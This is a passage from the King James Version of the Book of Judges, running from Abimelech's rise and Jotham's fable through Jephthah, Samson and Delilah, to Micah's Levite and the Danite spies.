brother. + +9:4 And they gave him threescore and ten pieces of silver out of the +house of Baalberith, wherewith Abimelech hired vain and light persons, +which followed him. + +9:5 And he went unto his father's house at Ophrah, and slew his +brethren the sons of Jerubbaal, being threescore and ten persons, upon +one stone: notwithstanding yet Jotham the youngest son of Jerubbaal +was left; for he hid himself. + +9:6 And all the men of Shechem gathered together, and all the house of +Millo, and went, and made Abimelech king, by the plain of the pillar +that was in Shechem. + +9:7 And when they told it to Jotham, he went and stood in the top of +mount Gerizim, and lifted up his voice, and cried, and said unto them, +Hearken unto me, ye men of Shechem, that God may hearken unto you. + +9:8 The trees went forth on a time to anoint a king over them; and +they said unto the olive tree, Reign thou over us. + +9:9 But the olive tree said unto them, Should I leave my fatness, +wherewith by me they honour God and man, and go to be promoted over +the trees? 9:10 And the trees said to the fig tree, Come thou, and +reign over us. + +9:11 But the fig tree said unto them, Should I forsake my sweetness, +and my good fruit, and go to be promoted over the trees? 9:12 Then +said the trees unto the vine, Come thou, and reign over us. + +9:13 And the vine said unto them, Should I leave my wine, which +cheereth God and man, and go to be promoted over the trees? 9:14 Then +said all the trees unto the bramble, Come thou, and reign over us. + +9:15 And the bramble said unto the trees, If in truth ye anoint me +king over you, then come and put your trust in my shadow: and if not, +let fire come out of the bramble, and devour the cedars of Lebanon. + +9:16 Now therefore, if ye have done truly and sincerely, in that ye +have made Abimelech king, and if ye have dealt well with Jerubbaal and +his house, and have done unto him according to the deserving of his +hands; 9:17 (For my father fought for you, and adventured his life +far, and delivered you out of the hand of Midian: 9:18 And ye are +risen up against my father's house this day, and have slain his sons, +threescore and ten persons, upon one stone, and have made Abimelech, +the son of his maidservant, king over the men of Shechem, because he +is your brother;) 9:19 If ye then have dealt truly and sincerely with +Jerubbaal and with his house this day, then rejoice ye in Abimelech, +and let him also rejoice in you: 9:20 But if not, let fire come out +from Abimelech, and devour the men of Shechem, and the house of Millo; +and let fire come out from the men of Shechem, and from the house of +Millo, and devour Abimelech. + +9:21 And Jotham ran away, and fled, and went to Beer, and dwelt there, +for fear of Abimelech his brother. + +9:22 When Abimelech had reigned three years over Israel, 9:23 Then God +sent an evil spirit between Abimelech and the men of Shechem; and the +men of Shechem dealt treacherously with Abimelech: 9:24 That the +cruelty done to the threescore and ten sons of Jerubbaal might come, +and their blood be laid upon Abimelech their brother, which slew them; +and upon the men of Shechem, which aided him in the killing of his +brethren. + +9:25 And the men of Shechem set liers in wait for him in the top of +the mountains, and they robbed all that came along that way by them: +and it was told Abimelech. + +9:26 And Gaal the son of Ebed came with his brethren, and went over to +Shechem: and the men of Shechem put their confidence in him. + +9:27 And they went out into the fields, and gathered their vineyards, +and trode the grapes, and made merry, and went into the house of their +god, and did eat and drink, and cursed Abimelech. + +9:28 And Gaal the son of Ebed said, Who is Abimelech, and who is +Shechem, that we should serve him? is not he the son of Jerubbaal? and +Zebul his officer? serve the men of Hamor the father of Shechem: for +why should we serve him? 9:29 And would to God this people were under +my hand! then would I remove Abimelech. And he said to Abimelech, +Increase thine army, and come out. + +9:30 And when Zebul the ruler of the city heard the words of Gaal the +son of Ebed, his anger was kindled. + +9:31 And he sent messengers unto Abimelech privily, saying, Behold, +Gaal the son of Ebed and his brethren be come to Shechem; and, behold, +they fortify the city against thee. + +9:32 Now therefore up by night, thou and the people that is with thee, +and lie in wait in the field: 9:33 And it shall be, that in the +morning, as soon as the sun is up, thou shalt rise early, and set upon +the city: and, behold, when he and the people that is with him come +out against thee, then mayest thou do to them as thou shalt find +occasion. + +9:34 And Abimelech rose up, and all the people that were with him, by +night, and they laid wait against Shechem in four companies. + +9:35 And Gaal the son of Ebed went out, and stood in the entering of +the gate of the city: and Abimelech rose up, and the people that were +with him, from lying in wait. + +9:36 And when Gaal saw the people, he said to Zebul, Behold, there +come people down from the top of the mountains. And Zebul said unto +him, Thou seest the shadow of the mountains as if they were men. + +9:37 And Gaal spake again, and said, See there come people down by the +middle of the land, and another company come along by the plain of +Meonenim. + +9:38 Then said Zebul unto him, Where is now thy mouth, wherewith thou +saidst, Who is Abimelech, that we should serve him? is not this the +people that thou hast despised? go out, I pray now, and fight with +them. + +9:39 And Gaal went out before the men of Shechem, and fought with +Abimelech. + +9:40 And Abimelech chased him, and he fled before him, and many were +overthrown and wounded, even unto the entering of the gate. + +9:41 And Abimelech dwelt at Arumah: and Zebul thrust out Gaal and his +brethren, that they should not dwell in Shechem. + +9:42 And it came to pass on the morrow, that the people went out into +the field; and they told Abimelech. + +9:43 And he took the people, and divided them into three companies, +and laid wait in the field, and looked, and, behold, the people were +come forth out of the city; and he rose up against them, and smote +them. + +9:44 And Abimelech, and the company that was with him, rushed forward, +and stood in the entering of the gate of the city: and the two other +companies ran upon all the people that were in the fields, and slew +them. + +9:45 And Abimelech fought against the city all that day; and he took +the city, and slew the people that was therein, and beat down the +city, and sowed it with salt. + +9:46 And when all the men of the tower of Shechem heard that, they +entered into an hold of the house of the god Berith. + +9:47 And it was told Abimelech, that all the men of the tower of +Shechem were gathered together. + +9:48 And Abimelech gat him up to mount Zalmon, he and all the people +that were with him; and Abimelech took an axe in his hand, and cut +down a bough from the trees, and took it, and laid it on his shoulder, +and said unto the people that were with him, What ye have seen me do, +make haste, and do as I have done. + +9:49 And all the people likewise cut down every man his bough, and +followed Abimelech, and put them to the hold, and set the hold on fire +upon them; so that all the men of the tower of Shechem died also, +about a thousand men and women. + +9:50 Then went Abimelech to Thebez, and encamped against Thebez, and +took it. + +9:51 But there was a strong tower within the city, and thither fled +all the men and women, and all they of the city, and shut it to them, +and gat them up to the top of the tower. + +9:52 And Abimelech came unto the tower, and fought against it, and +went hard unto the door of the tower to burn it with fire. + +9:53 And a certain woman cast a piece of a millstone upon Abimelech's +head, and all to brake his skull. + +9:54 Then he called hastily unto the young man his armourbearer, and +said unto him, Draw thy sword, and slay me, that men say not of me, A +women slew him. And his young man thrust him through, and he died. + +9:55 And when the men of Israel saw that Abimelech was dead, they +departed every man unto his place. + +9:56 Thus God rendered the wickedness of Abimelech, which he did unto +his father, in slaying his seventy brethren: 9:57 And all the evil of +the men of Shechem did God render upon their heads: and upon them came +the curse of Jotham the son of Jerubbaal. + +10:1 And after Abimelech there arose to defend Israel Tola the son of +Puah, the son of Dodo, a man of Issachar; and he dwelt in Shamir in +mount Ephraim. + +10:2 And he judged Israel twenty and three years, and died, and was +buried in Shamir. + +10:3 And after him arose Jair, a Gileadite, and judged Israel twenty +and two years. + +10:4 And he had thirty sons that rode on thirty ass colts, and they +had thirty cities, which are called Havothjair unto this day, which +are in the land of Gilead. + +10:5 And Jair died, and was buried in Camon. + +10:6 And the children of Israel did evil again in the sight of the +LORD, and served Baalim, and Ashtaroth, and the gods of Syria, and the +gods of Zidon, and the gods of Moab, and the gods of the children of +Ammon, and the gods of the Philistines, and forsook the LORD, and +served not him. + +10:7 And the anger of the LORD was hot against Israel, and he sold +them into the hands of the Philistines, and into the hands of the +children of Ammon. + +10:8 And that year they vexed and oppressed the children of Israel: +eighteen years, all the children of Israel that were on the other side +Jordan in the land of the Amorites, which is in Gilead. + +10:9 Moreover the children of Ammon passed over Jordan to fight also +against Judah, and against Benjamin, and against the house of Ephraim; +so that Israel was sore distressed. + +10:10 And the children of Israel cried unto the LORD, saying, We have +sinned against thee, both because we have forsaken our God, and also +served Baalim. + +10:11 And the LORD said unto the children of Israel, Did not I deliver +you from the Egyptians, and from the Amorites, from the children of +Ammon, and from the Philistines? 10:12 The Zidonians also, and the +Amalekites, and the Maonites, did oppress you; and ye cried to me, and +I delivered you out of their hand. + +10:13 Yet ye have forsaken me, and served other gods: wherefore I will +deliver you no more. + +10:14 Go and cry unto the gods which ye have chosen; let them deliver +you in the time of your tribulation. + +10:15 And the children of Israel said unto the LORD, We have sinned: +do thou unto us whatsoever seemeth good unto thee; deliver us only, we +pray thee, this day. + +10:16 And they put away the strange gods from among them, and served +the LORD: and his soul was grieved for the misery of Israel. + +10:17 Then the children of Ammon were gathered together, and encamped +in Gilead. And the children of Israel assembled themselves together, +and encamped in Mizpeh. + +10:18 And the people and princes of Gilead said one to another, What +man is he that will begin to fight against the children of Ammon? he +shall be head over all the inhabitants of Gilead. + +11:1 Now Jephthah the Gileadite was a mighty man of valour, and he was +the son of an harlot: and Gilead begat Jephthah. + +11:2 And Gilead's wife bare him sons; and his wife's sons grew up, and +they thrust out Jephthah, and said unto him, Thou shalt not inherit in +our father's house; for thou art the son of a strange woman. + +11:3 Then Jephthah fled from his brethren, and dwelt in the land of +Tob: and there were gathered vain men to Jephthah, and went out with +him. + +11:4 And it came to pass in process of time, that the children of +Ammon made war against Israel. + +11:5 And it was so, that when the children of Ammon made war against +Israel, the elders of Gilead went to fetch Jephthah out of the land of +Tob: 11:6 And they said unto Jephthah, Come, and be our captain, that +we may fight with the children of Ammon. + +11:7 And Jephthah said unto the elders of Gilead, Did not ye hate me, +and expel me out of my father's house? and why are ye come unto me now +when ye are in distress? 11:8 And the elders of Gilead said unto +Jephthah, Therefore we turn again to thee now, that thou mayest go +with us, and fight against the children of Ammon, and be our head over +all the inhabitants of Gilead. + +11:9 And Jephthah said unto the elders of Gilead, If ye bring me home +again to fight against the children of Ammon, and the LORD deliver +them before me, shall I be your head? 11:10 And the elders of Gilead +said unto Jephthah, The LORD be witness between us, if we do not so +according to thy words. + +11:11 Then Jephthah went with the elders of Gilead, and the people +made him head and captain over them: and Jephthah uttered all his +words before the LORD in Mizpeh. + +11:12 And Jephthah sent messengers unto the king of the children of +Ammon, saying, What hast thou to do with me, that thou art come +against me to fight in my land? 11:13 And the king of the children of +Ammon answered unto the messengers of Jephthah, Because Israel took +away my land, when they came up out of Egypt, from Arnon even unto +Jabbok, and unto Jordan: now therefore restore those lands again +peaceably. + +11:14 And Jephthah sent messengers again unto the king of the children +of Ammon: 11:15 And said unto him, Thus saith Jephthah, Israel took +not away the land of Moab, nor the land of the children of Ammon: +11:16 But when Israel came up from Egypt, and walked through the +wilderness unto the Red sea, and came to Kadesh; 11:17 Then Israel +sent messengers unto the king of Edom, saying, Let me, I pray thee, +pass through thy land: but the king of Edom would not hearken thereto. +And in like manner they sent unto the king of Moab: but he would not +consent: and Israel abode in Kadesh. + +11:18 Then they went along through the wilderness, and compassed the +land of Edom, and the land of Moab, and came by the east side of the +land of Moab, and pitched on the other side of Arnon, but came not +within the border of Moab: for Arnon was the border of Moab. + +11:19 And Israel sent messengers unto Sihon king of the Amorites, the +king of Heshbon; and Israel said unto him, Let us pass, we pray thee, +through thy land into my place. + +11:20 But Sihon trusted not Israel to pass through his coast: but +Sihon gathered all his people together, and pitched in Jahaz, and +fought against Israel. + +11:21 And the LORD God of Israel delivered Sihon and all his people +into the hand of Israel, and they smote them: so Israel possessed all +the land of the Amorites, the inhabitants of that country. + +11:22 And they possessed all the coasts of the Amorites, from Arnon +even unto Jabbok, and from the wilderness even unto Jordan. + +11:23 So now the LORD God of Israel hath dispossessed the Amorites +from before his people Israel, and shouldest thou possess it? 11:24 +Wilt not thou possess that which Chemosh thy god giveth thee to +possess? So whomsoever the LORD our God shall drive out from before +us, them will we possess. + +11:25 And now art thou any thing better than Balak the son of Zippor, +king of Moab? did he ever strive against Israel, or did he ever fight +against them, 11:26 While Israel dwelt in Heshbon and her towns, and +in Aroer and her towns, and in all the cities that be along by the +coasts of Arnon, three hundred years? why therefore did ye not recover +them within that time? 11:27 Wherefore I have not sinned against +thee, but thou doest me wrong to war against me: the LORD the Judge be +judge this day between the children of Israel and the children of +Ammon. + +11:28 Howbeit the king of the children of Ammon hearkened not unto the +words of Jephthah which he sent him. + +11:29 Then the Spirit of the LORD came upon Jephthah, and he passed +over Gilead, and Manasseh, and passed over Mizpeh of Gilead, and from +Mizpeh of Gilead he passed over unto the children of Ammon. + +11:30 And Jephthah vowed a vow unto the LORD, and said, If thou shalt +without fail deliver the children of Ammon into mine hands, 11:31 Then +it shall be, that whatsoever cometh forth of the doors of my house to +meet me, when I return in peace from the children of Ammon, shall +surely be the LORD's, and I will offer it up for a burnt offering. + +11:32 So Jephthah passed over unto the children of Ammon to fight +against them; and the LORD delivered them into his hands. + +11:33 And he smote them from Aroer, even till thou come to Minnith, +even twenty cities, and unto the plain of the vineyards, with a very +great slaughter. Thus the children of Ammon were subdued before the +children of Israel. + +11:34 And Jephthah came to Mizpeh unto his house, and, behold, his +daughter came out to meet him with timbrels and with dances: and she +was his only child; beside her he had neither son nor daughter. + +11:35 And it came to pass, when he saw her, that he rent his clothes, +and said, Alas, my daughter! thou hast brought me very low, and thou +art one of them that trouble me: for I have opened my mouth unto the +LORD, and I cannot go back. + +11:36 And she said unto him, My father, if thou hast opened thy mouth +unto the LORD, do to me according to that which hath proceeded out of +thy mouth; forasmuch as the LORD hath taken vengeance for thee of +thine enemies, even of the children of Ammon. + +11:37 And she said unto her father, Let this thing be done for me: let +me alone two months, that I may go up and down upon the mountains, and +bewail my virginity, I and my fellows. + +11:38 And he said, Go. And he sent her away for two months: and she +went with her companions, and bewailed her virginity upon the +mountains. + +11:39 And it came to pass at the end of two months, that she returned +unto her father, who did with her according to his vow which he had +vowed: and she knew no man. And it was a custom in Israel, 11:40 That +the daughters of Israel went yearly to lament the daughter of Jephthah +the Gileadite four days in a year. + +12:1 And the men of Ephraim gathered themselves together, and went +northward, and said unto Jephthah, Wherefore passedst thou over to +fight against the children of Ammon, and didst not call us to go with +thee? we will burn thine house upon thee with fire. + +12:2 And Jephthah said unto them, I and my people were at great strife +with the children of Ammon; and when I called you, ye delivered me not +out of their hands. + +12:3 And when I saw that ye delivered me not, I put my life in my +hands, and passed over against the children of Ammon, and the LORD +delivered them into my hand: wherefore then are ye come up unto me +this day, to fight against me? 12:4 Then Jephthah gathered together +all the men of Gilead, and fought with Ephraim: and the men of Gilead +smote Ephraim, because they said, Ye Gileadites are fugitives of +Ephraim among the Ephraimites, and among the Manassites. + +12:5 And the Gileadites took the passages of Jordan before the +Ephraimites: and it was so, that when those Ephraimites which were +escaped said, Let me go over; that the men of Gilead said unto him, +Art thou an Ephraimite? If he said, Nay; 12:6 Then said they unto him, +Say now Shibboleth: and he said Sibboleth: for he could not frame to +pronounce it right. Then they took him, and slew him at the passages +of Jordan: and there fell at that time of the Ephraimites forty and +two thousand. + +12:7 And Jephthah judged Israel six years. Then died Jephthah the +Gileadite, and was buried in one of the cities of Gilead. + +12:8 And after him Ibzan of Bethlehem judged Israel. + +12:9 And he had thirty sons, and thirty daughters, whom he sent +abroad, and took in thirty daughters from abroad for his sons. And he +judged Israel seven years. + +12:10 Then died Ibzan, and was buried at Bethlehem. + +12:11 And after him Elon, a Zebulonite, judged Israel; and he judged +Israel ten years. + +12:12 And Elon the Zebulonite died, and was buried in Aijalon in the +country of Zebulun. + +12:13 And after him Abdon the son of Hillel, a Pirathonite, judged +Israel. + +12:14 And he had forty sons and thirty nephews, that rode on +threescore and ten ass colts: and he judged Israel eight years. + +12:15 And Abdon the son of Hillel the Pirathonite died, and was buried +in Pirathon in the land of Ephraim, in the mount of the Amalekites. + +13:1 And the children of Israel did evil again in the sight of the +LORD; and the LORD delivered them into the hand of the Philistines +forty years. + +13:2 And there was a certain man of Zorah, of the family of the +Danites, whose name was Manoah; and his wife was barren, and bare not. + +13:3 And the angel of the LORD appeared unto the woman, and said unto +her, Behold now, thou art barren, and bearest not: but thou shalt +conceive, and bear a son. + +13:4 Now therefore beware, I pray thee, and drink not wine nor strong +drink, and eat not any unclean thing: 13:5 For, lo, thou shalt +conceive, and bear a son; and no razor shall come on his head: for the +child shall be a Nazarite unto God from the womb: and he shall begin +to deliver Israel out of the hand of the Philistines. + +13:6 Then the woman came and told her husband, saying, A man of God +came unto me, and his countenance was like the countenance of an angel +of God, very terrible: but I asked him not whence he was, neither told +he me his name: 13:7 But he said unto me, Behold, thou shalt conceive, +and bear a son; and now drink no wine nor strong drink, neither eat +any unclean thing: for the child shall be a Nazarite to God from the +womb to the day of his death. + +13:8 Then Manoah intreated the LORD, and said, O my Lord, let the man +of God which thou didst send come again unto us, and teach us what we +shall do unto the child that shall be born. + +13:9 And God hearkened to the voice of Manoah; and the angel of God +came again unto the woman as she sat in the field: but Manoah her +husband was not with her. + +13:10 And the woman made haste, and ran, and shewed her husband, and +said unto him, Behold, the man hath appeared unto me, that came unto +me the other day. + +13:11 And Manoah arose, and went after his wife, and came to the man, +and said unto him, Art thou the man that spakest unto the woman? And +he said, I am. + +13:12 And Manoah said, Now let thy words come to pass. How shall we +order the child, and how shall we do unto him? 13:13 And the angel of +the LORD said unto Manoah, Of all that I said unto the woman let her +beware. + +13:14 She may not eat of any thing that cometh of the vine, neither +let her drink wine or strong drink, nor eat any unclean thing: all +that I commanded her let her observe. + +13:15 And Manoah said unto the angel of the LORD, I pray thee, let us +detain thee, until we shall have made ready a kid for thee. + +13:16 And the angel of the LORD said unto Manoah, Though thou detain +me, I will not eat of thy bread: and if thou wilt offer a burnt +offering, thou must offer it unto the LORD. For Manoah knew not that +he was an angel of the LORD. + +13:17 And Manoah said unto the angel of the LORD, What is thy name, +that when thy sayings come to pass we may do thee honour? 13:18 And +the angel of the LORD said unto him, Why askest thou thus after my +name, seeing it is secret? 13:19 So Manoah took a kid with a meat +offering, and offered it upon a rock unto the LORD: and the angel did +wonderously; and Manoah and his wife looked on. + +13:20 For it came to pass, when the flame went up toward heaven from +off the altar, that the angel of the LORD ascended in the flame of the +altar. And Manoah and his wife looked on it, and fell on their faces +to the ground. + +13:21 But the angel of the LORD did no more appear to Manoah and to +his wife. Then Manoah knew that he was an angel of the LORD. + +13:22 And Manoah said unto his wife, We shall surely die, because we +have seen God. + +13:23 But his wife said unto him, If the LORD were pleased to kill us, +he would not have received a burnt offering and a meat offering at our +hands, neither would he have shewed us all these things, nor would as +at this time have told us such things as these. + +13:24 And the woman bare a son, and called his name Samson: and the +child grew, and the LORD blessed him. + +13:25 And the Spirit of the LORD began to move him at times in the +camp of Dan between Zorah and Eshtaol. + +14:1 And Samson went down to Timnath, and saw a woman in Timnath of +the daughters of the Philistines. + +14:2 And he came up, and told his father and his mother, and said, I +have seen a woman in Timnath of the daughters of the Philistines: now +therefore get her for me to wife. + +14:3 Then his father and his mother said unto him, Is there never a +woman among the daughters of thy brethren, or among all my people, +that thou goest to take a wife of the uncircumcised Philistines? And +Samson said unto his father, Get her for me; for she pleaseth me well. + +14:4 But his father and his mother knew not that it was of the LORD, +that he sought an occasion against the Philistines: for at that time +the Philistines had dominion over Israel. + +14:5 Then went Samson down, and his father and his mother, to Timnath, +and came to the vineyards of Timnath: and, behold, a young lion roared +against him. + +14:6 And the Spirit of the LORD came mightily upon him, and he rent +him as he would have rent a kid, and he had nothing in his hand: but +he told not his father or his mother what he had done. + +14:7 And he went down, and talked with the woman; and she pleased +Samson well. + +14:8 And after a time he returned to take her, and he turned aside to +see the carcase of the lion: and, behold, there was a swarm of bees +and honey in the carcase of the lion. + +14:9 And he took thereof in his hands, and went on eating, and came to +his father and mother, and he gave them, and they did eat: but he told +not them that he had taken the honey out of the carcase of the lion. + +14:10 So his father went down unto the woman: and Samson made there a +feast; for so used the young men to do. + +14:11 And it came to pass, when they saw him, that they brought thirty +companions to be with him. + +14:12 And Samson said unto them, I will now put forth a riddle unto +you: if ye can certainly declare it me within the seven days of the +feast, and find it out, then I will give you thirty sheets and thirty +change of garments: 14:13 But if ye cannot declare it me, then shall +ye give me thirty sheets and thirty change of garments. And they said +unto him, Put forth thy riddle, that we may hear it. + +14:14 And he said unto them, Out of the eater came forth meat, and out +of the strong came forth sweetness. And they could not in three days +expound the riddle. + +14:15 And it came to pass on the seventh day, that they said unto +Samson's wife, Entice thy husband, that he may declare unto us the +riddle, lest we burn thee and thy father's house with fire: have ye +called us to take that we have? is it not so? 14:16 And Samson's wife +wept before him, and said, Thou dost but hate me, and lovest me not: +thou hast put forth a riddle unto the children of my people, and hast +not told it me. And he said unto her, Behold, I have not told it my +father nor my mother, and shall I tell it thee? 14:17 And she wept +before him the seven days, while their feast lasted: and it came to +pass on the seventh day, that he told her, because she lay sore upon +him: and she told the riddle to the children of her people. + +14:18 And the men of the city said unto him on the seventh day before +the sun went down, What is sweeter than honey? And what is stronger +than a lion? and he said unto them, If ye had not plowed with my +heifer, ye had not found out my riddle. + +14:19 And the Spirit of the LORD came upon him, and he went down to +Ashkelon, and slew thirty men of them, and took their spoil, and gave +change of garments unto them which expounded the riddle. And his anger +was kindled, and he went up to his father's house. + +14:20 But Samson's wife was given to his companion, whom he had used +as his friend. + +15:1 But it came to pass within a while after, in the time of wheat +harvest, that Samson visited his wife with a kid; and he said, I will +go in to my wife into the chamber. But her father would not suffer him +to go in. + +15:2 And her father said, I verily thought that thou hadst utterly +hated her; therefore I gave her to thy companion: is not her younger +sister fairer than she? take her, I pray thee, instead of her. + +15:3 And Samson said concerning them, Now shall I be more blameless +than the Philistines, though I do them a displeasure. + +15:4 And Samson went and caught three hundred foxes, and took +firebrands, and turned tail to tail, and put a firebrand in the midst +between two tails. + +15:5 And when he had set the brands on fire, he let them go into the +standing corn of the Philistines, and burnt up both the shocks, and +also the standing corn, with the vineyards and olives. + +15:6 Then the Philistines said, Who hath done this? And they answered, +Samson, the son in law of the Timnite, because he had taken his wife, +and given her to his companion. And the Philistines came up, and burnt +her and her father with fire. + +15:7 And Samson said unto them, Though ye have done this, yet will I +be avenged of you, and after that I will cease. + +15:8 And he smote them hip and thigh with a great slaughter: and he +went down and dwelt in the top of the rock Etam. + +15:9 Then the Philistines went up, and pitched in Judah, and spread +themselves in Lehi. + +15:10 And the men of Judah said, Why are ye come up against us? And +they answered, To bind Samson are we come up, to do to him as he hath +done to us. + +15:11 Then three thousand men of Judah went to the top of the rock +Etam, and said to Samson, Knowest thou not that the Philistines are +rulers over us? what is this that thou hast done unto us? And he said +unto them, As they did unto me, so have I done unto them. + +15:12 And they said unto him, We are come down to bind thee, that we +may deliver thee into the hand of the Philistines. And Samson said +unto them, Swear unto me, that ye will not fall upon me yourselves. + +15:13 And they spake unto him, saying, No; but we will bind thee fast, +and deliver thee into their hand: but surely we will not kill thee. +And they bound him with two new cords, and brought him up from the +rock. + +15:14 And when he came unto Lehi, the Philistines shouted against him: +and the Spirit of the LORD came mightily upon him, and the cords that +were upon his arms became as flax that was burnt with fire, and his +bands loosed from off his hands. + +15:15 And he found a new jawbone of an ass, and put forth his hand, +and took it, and slew a thousand men therewith. + +15:16 And Samson said, With the jawbone of an ass, heaps upon heaps, +with the jaw of an ass have I slain a thousand men. + +15:17 And it came to pass, when he had made an end of speaking, that +he cast away the jawbone out of his hand, and called that place +Ramathlehi. + +15:18 And he was sore athirst, and called on the LORD, and said, Thou +hast given this great deliverance into the hand of thy servant: and +now shall I die for thirst, and fall into the hand of the +uncircumcised? 15:19 But God clave an hollow place that was in the +jaw, and there came water thereout; and when he had drunk, his spirit +came again, and he revived: wherefore he called the name thereof +Enhakkore, which is in Lehi unto this day. + +15:20 And he judged Israel in the days of the Philistines twenty +years. + +16:1 Then went Samson to Gaza, and saw there an harlot, and went in +unto her. + +16:2 And it was told the Gazites, saying, Samson is come hither. And +they compassed him in, and laid wait for him all night in the gate of +the city, and were quiet all the night, saying, In the morning, when +it is day, we shall kill him. + +16:3 And Samson lay till midnight, and arose at midnight, and took the +doors of the gate of the city, and the two posts, and went away with +them, bar and all, and put them upon his shoulders, and carried them +up to the top of an hill that is before Hebron. + +16:4 And it came to pass afterward, that he loved a woman in the +valley of Sorek, whose name was Delilah. + +16:5 And the lords of the Philistines came up unto her, and said unto +her, Entice him, and see wherein his great strength lieth, and by what +means we may prevail against him, that we may bind him to afflict him; +and we will give thee every one of us eleven hundred pieces of silver. + +16:6 And Delilah said to Samson, Tell me, I pray thee, wherein thy +great strength lieth, and wherewith thou mightest be bound to afflict +thee. + +16:7 And Samson said unto her, If they bind me with seven green withs +that were never dried, then shall I be weak, and be as another man. + +16:8 Then the lords of the Philistines brought up to her seven green +withs which had not been dried, and she bound him with them. + +16:9 Now there were men lying in wait, abiding with her in the +chamber. + +And she said unto him, The Philistines be upon thee, Samson. And he +brake the withs, as a thread of tow is broken when it toucheth the +fire. So his strength was not known. + +16:10 And Delilah said unto Samson, Behold, thou hast mocked me, and +told me lies: now tell me, I pray thee, wherewith thou mightest be +bound. + +16:11 And he said unto her, If they bind me fast with new ropes that +never were occupied, then shall I be weak, and be as another man. + +16:12 Delilah therefore took new ropes, and bound him therewith, and +said unto him, The Philistines be upon thee, Samson. And there were +liers in wait abiding in the chamber. And he brake them from off his +arms like a thread. + +16:13 And Delilah said unto Samson, Hitherto thou hast mocked me, and +told me lies: tell me wherewith thou mightest be bound. And he said +unto her, If thou weavest the seven locks of my head with the web. + +16:14 And she fastened it with the pin, and said unto him, The +Philistines be upon thee, Samson. And he awaked out of his sleep, and +went away with the pin of the beam, and with the web. + +16:15 And she said unto him, How canst thou say, I love thee, when +thine heart is not with me? thou hast mocked me these three times, and +hast not told me wherein thy great strength lieth. + +16:16 And it came to pass, when she pressed him daily with her words, +and urged him, so that his soul was vexed unto death; 16:17 That he +told her all his heart, and said unto her, There hath not come a razor +upon mine head; for I have been a Nazarite unto God from my mother's +womb: if I be shaven, then my strength will go from me, and I shall +become weak, and be like any other man. + +16:18 And when Delilah saw that he had told her all his heart, she +sent and called for the lords of the Philistines, saying, Come up this +once, for he hath shewed me all his heart. Then the lords of the +Philistines came up unto her, and brought money in their hand. + +16:19 And she made him sleep upon her knees; and she called for a man, +and she caused him to shave off the seven locks of his head; and she +began to afflict him, and his strength went from him. + +16:20 And she said, The Philistines be upon thee, Samson. And he awoke +out of his sleep, and said, I will go out as at other times before, +and shake myself. And he wist not that the LORD was departed from him. + +16:21 But the Philistines took him, and put out his eyes, and brought +him down to Gaza, and bound him with fetters of brass; and he did +grind in the prison house. + +16:22 Howbeit the hair of his head began to grow again after he was +shaven. + +16:23 Then the lords of the Philistines gathered them together for to +offer a great sacrifice unto Dagon their god, and to rejoice: for they +said, Our god hath delivered Samson our enemy into our hand. + +16:24 And when the people saw him, they praised their god: for they +said, Our god hath delivered into our hands our enemy, and the +destroyer of our country, which slew many of us. + +16:25 And it came to pass, when their hearts were merry, that they +said, Call for Samson, that he may make us sport. And they called for +Samson out of the prison house; and he made them sport: and they set +him between the pillars. + +16:26 And Samson said unto the lad that held him by the hand, Suffer +me that I may feel the pillars whereupon the house standeth, that I +may lean upon them. + +16:27 Now the house was full of men and women; and all the lords of +the Philistines were there; and there were upon the roof about three +thousand men and women, that beheld while Samson made sport. + +16:28 And Samson called unto the LORD, and said, O Lord God, remember +me, I pray thee, and strengthen me, I pray thee, only this once, O +God, that I may be at once avenged of the Philistines for my two eyes. + +16:29 And Samson took hold of the two middle pillars upon which the +house stood, and on which it was borne up, of the one with his right +hand, and of the other with his left. + +16:30 And Samson said, Let me die with the Philistines. And he bowed +himself with all his might; and the house fell upon the lords, and +upon all the people that were therein. So the dead which he slew at +his death were more than they which he slew in his life. + +16:31 Then his brethren and all the house of his father came down, and +took him, and brought him up, and buried him between Zorah and Eshtaol +in the buryingplace of Manoah his father. And he judged Israel twenty +years. + +17:1 And there was a man of mount Ephraim, whose name was Micah. + +17:2 And he said unto his mother, The eleven hundred shekels of silver +that were taken from thee, about which thou cursedst, and spakest of +also in mine ears, behold, the silver is with me; I took it. And his +mother said, Blessed be thou of the LORD, my son. + +17:3 And when he had restored the eleven hundred shekels of silver to +his mother, his mother said, I had wholly dedicated the silver unto +the LORD from my hand for my son, to make a graven image and a molten +image: now therefore I will restore it unto thee. + +17:4 Yet he restored the money unto his mother; and his mother took +two hundred shekels of silver, and gave them to the founder, who made +thereof a graven image and a molten image: and they were in the house +of Micah. + +17:5 And the man Micah had an house of gods, and made an ephod, and +teraphim, and consecrated one of his sons, who became his priest. + +17:6 In those days there was no king in Israel, but every man did that +which was right in his own eyes. + +17:7 And there was a young man out of Bethlehemjudah of the family of +Judah, who was a Levite, and he sojourned there. + +17:8 And the man departed out of the city from Bethlehemjudah to +sojourn where he could find a place: and he came to mount Ephraim to +the house of Micah, as he journeyed. + +17:9 And Micah said unto him, Whence comest thou? And he said unto +him, I am a Levite of Bethlehemjudah, and I go to sojourn where I may +find a place. + +17:10 And Micah said unto him, Dwell with me, and be unto me a father +and a priest, and I will give thee ten shekels of silver by the year, +and a suit of apparel, and thy victuals. So the Levite went in. + +17:11 And the Levite was content to dwell with the man; and the young +man was unto him as one of his sons. + +17:12 And Micah consecrated the Levite; and the young man became his +priest, and was in the house of Micah. + +17:13 Then said Micah, Now know I that the LORD will do me good, +seeing I have a Levite to my priest. + +18:1 In those days there was no king in Israel: and in those days the +tribe of the Danites sought them an inheritance to dwell in; for unto +that day all their inheritance had not fallen unto them among the +tribes of Israel. + +18:2 And the children of Dan sent of their family five men from their +coasts, men of valour, from Zorah, and from Eshtaol, to spy out the +land, and to search it; and they said unto them, Go, search the land: +who when they came to mount Ephraim, to the house of Micah, they +lodged there. + +18:3 When they were by the house of Micah, they knew the voice of the +young man the Levite: and they turned in thither, and said unto him, +Who brought thee hither? and what makest thou in this place? and what +hast thou here? 18:4 And he said unto them, Thus and thus dealeth +Micah with me, and hath hired me, and I am his priest. + +18:5 And they said unto him, Ask counsel, we pray thee, of God, that +we may know whether our way which we go shall be prosperous. + +18:6 And the priest said unto them, Go in peace: before the LORD is +your way wherein ye go. + +18:7 Then the five men departed, and came to Laish, and saw the people +that were therein, how they dwelt careless, after the manner of the +Zidonians, quiet and secure; and there was no magistrate in the land, +that might put them to shame in any thing; and they were far from the +Zidonians, and had no business with any man. + +18:8 And they came unto their brethren to Zorah and Eshtaol: and their +brethren said unto them, What say ye? 18:9 And they said, Arise, that +we may go up against them: for we have seen the land, and, behold, it +is very good: and are ye still? be not slothful to go, and to enter to +possess the land. + 